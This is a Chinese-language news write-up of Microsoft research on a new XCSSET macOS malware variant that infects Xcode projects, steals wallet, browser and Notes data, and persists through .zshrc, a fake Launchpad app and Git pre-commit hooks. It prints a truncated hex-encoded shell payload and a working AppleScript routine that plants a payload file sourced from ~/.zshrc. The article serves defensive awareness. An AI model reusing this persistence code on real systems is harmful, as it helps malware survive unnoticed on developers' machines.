新型 XCSSET 惡意軟件利用增強混淆技術攻擊 macOS 用戶
微軟威脅情報團隊發現了一種新型的XCSSET變種,這是一種復雜的模塊化macOS惡意軟件,能夠感染Xcode項目,并在開發者構建這些項目時執行。
這是自2022年以來的首個已知XCSSET變種,采用了增強的混淆方法、更新的持久化機制以及新的感染策略,旨在竊取macOS用戶的敏感信息。
惡意軟件的感染策略
該惡意軟件的感染策略利用了開發者在開發與Apple或macOS相關的應用程序時共享項目文件的方式。新型XCSSET變種采用了模塊化的方式,其有效載荷經過深度編碼,并改進了錯誤處理機制。
為了在受感染設備上保持低調并盡可能保持無文件狀態,該惡意軟件廣泛使用腳本語言、UNIX命令和合法二進制文件,這使得檢測和清除變得極具挑戰性。在代碼層面,惡意軟件對模塊名稱進行混淆,以阻礙靜態分析,并采用隨機化方法生成有效載荷。
與之前的變種僅依賴xxd(hexdump)進行編碼不同,最新版本還引入了Base64編碼技術。
持久化技術
該惡意軟件采用了三種不同的持久化技術,確保其有效載荷在以下情況下啟動:新shell會話開始、用戶打開偽造的Launchpad應用程序或開發者在Git中提交更改。
微軟研究人員指出,感染鏈由四個階段組成,首先是構建受感染的Xcode項目時運行的混淆shell有效載荷。
混淆的第一階段 shell payload(來源 – Microsoft)
第一階段的有效載荷在被傳輸到 shell 之前,會經過多次十六進制解碼迭代:
sh -c"(echo 33336363233343633335233303536
在初始感染之后,該惡意軟件會從其命令與控制服務器(C2)下載額外的模塊,其中包括能夠竊取系統信息、瀏覽器擴展數據、數字錢包信息以及來自 “備忘錄” 應用程序的筆記內容的組件。
該惡意軟件通過幾種復雜的方法來實現駐留。其中一種方法是修改~/.zshrc 文件,以便在每次啟動新的 shell 會話時執行惡意代碼。
.zshrc 駐留方法(來源:微軟)
惡意軟件在利用.zshrc 文件駐留時,會先檢查是否存在恢復標志,然后根據標志決定是刪除惡意文件,還是創建并更新它:
on doMain()
try
if RESTORE_DEFAULT is true then
do shell script "rm -f ~/.zshrc_aliases"
log ".zshrc_aliases removed"
else
set payload to getPayloadBody("Terminal")
set payload to quoted form of payload
do shell script "echo " & payload & " > ~/.zshrc_aliases"
log ".zshrc_aliases updated"
set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"
set payload to quoted form of payload
do shell script "touch ~/.zshrc"
do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"
log ".zshrc done"
end if
on error the errorMessage
log "failed at .zshrc: " & errorMessage
return
end try
end doMain
另一種駐留手段是創建一個偽裝成啟動臺的惡意應用,只要用戶試圖打開真正的啟動臺,這個偽裝應用就會執行惡意代碼。
此外,惡意軟件還會通過修改 Git 倉庫的預提交鉤子,在開發者提交更改時執行有效載荷,從而感染 Git 倉庫。
微軟建議用戶及時更新到最新版本的操作系統,在使用 Xcode 項目時仔細檢查,同時啟用微軟端點防護軟件(Microsoft Defender for Endpoint)等安全防護工具,這些工具能夠檢測并隔離該惡意軟件變種,有效保護系統安全。